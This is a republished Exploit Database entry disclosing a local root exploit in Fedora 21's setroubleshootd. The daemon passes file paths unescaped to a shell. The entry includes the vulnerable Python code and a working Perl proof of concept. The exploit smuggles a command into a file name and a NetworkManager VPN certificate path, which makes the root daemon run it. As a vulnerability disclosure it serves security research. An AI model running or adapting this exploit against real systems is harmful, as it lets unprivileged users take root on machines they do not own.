Fedora 21 setroubleshootd 3.2.22 – Local Privilege Escalation

• Exploit Database
• 36 阅读

• 作者： Sebastian Krahmer
  日期： 2015-03-30
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/36564/

• setroubleshoot tries to find out which rpm a particular
  file belongs to when it finds SELinux access violation reports.
  The idea is probably to have convenient reports for the admin
  which type enforcement rules have to be relaxed. setroubleshoot
  runs as root (although in its own domain). In util.py
  we have:
  
  
  266 def get_rpm_nvr_by_file_path_temporary(name):
  267 if name is None or not os.path.exists(name):
  268 return None
  269 
  270 nvr = None
  271 try:
  272 import commands
  273 rc, output = commands.getstatusoutput("rpm -qf '%s'" % name)
  274 if rc == 0:
  275 nvr = output
  276 except:
  277 syslog.syslog(syslog.LOG_ERR, "failed to retrieve rpm info for %s" % name)
  278 return nvr
  
  (and other similar occurences)
  
  So. Yes, thats correct: The SELinux system that is only there to protect you,
  passes attacker controlled data to sh -c (https://docs.python.org/2/library/commands.html)
  inside a daemon running as root. Sacken lassen...
  
  I attached a PoC which uses networkmanager's openvpn plugin to execute
  arbitraty commands by triggering an access violation to a pathname
  which contains shell commands.
  
  The setroubleshootd_t domain has quite a lot of allowed rules and transitions,
  so this can clearly count as privilege escalation. Furthermore a lot
  of admins run their system in permissive mode (full root) even when
  its shipped enforcing by default.
  
  Also note that there are potentially remote vectors, if attackers
  can control part of the filenames being created (web uploads, git, scp, ftp etc).
  
  Sebastian
  
  
  PS: I am all for SELinux but theres something on the wrong way. I counted
  the LOC, and the core SELinux (kernel) has a smaller codebase than whats
  framed around in python, running as root and mangling attacker controlled input.
  IOW, the system that wants to protect you has fewer code enforcing the rules
  than code that potentially blows up your system. And that code is python,
  so let alone all the python modules and interpreter hat can have bugs on its own.
  Driving such a lane _can only lead to abyss_. And I am not saying that evil
  powers are creating an overly complex system to better hide their bugdoors
  within.
  
  PPS: bug-logo will follow :)
  
  -- 
  
  ~ perl self.pl
  ~ $_='print"\$_=\47$_\47;eval"';eval
  ~ krahmer () suse de - SuSE Security Team
  
  
  #!/usr/bin/perl
  
  #
  # Fedora21 setroubleshootd local root PoC
  #
  # (C) 2015 Sebastian Krahmer
  #
  # - requires polkit authorization to add/mod VPN connections
  # to NetworkManager (default on desktop user)
  # - after execution of this script, which adds appropriate
  # NM connection entries, try
  #
  #$ nmcli c up vpn-FOOBAR
  #
  # a couple of times, until you see:
  #
  # logger[4062]: uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:setroubleshootd_t:...
  #
  # in the journalctl logs
  #
  # PS: I know in advance what the SELinux developers will say... :p
  #
  # I say: lulz!
  
  
  
  # create a pathname that setroubleshootd will eventually
  # query sh -c { rpm -qf ... with, fucking up ' escaping. So the
  # embedded pathname is then evaluated as command
  #
  # There goes your NSA-grade SELinux security!!!
  
  $file = "/tmp/foo.pem';`id|logger`;echo '";
  open(O, ">", $file) or die $!;
  close O;
  
  # add connection
  system("nmcli c add type vpn ifname FOOBAR vpn-type openvpn");
  open(O,"|nmcli c edit vpn-FOOBAR") or die $!;
  
  print O "set vpn.data ca = /tmp/foo.pem';`id|logger`;echo ', password-flags = 1, connection-type = password, remote = 
  1.2.3.4, username = FOOBAR\n";
  print O "set vpn.secrets password=1\nsave\nquit\n";
  close(O);
  
  
  print "Now do 'nmcli c up vpn-FOOBAR' and watch logs.\n";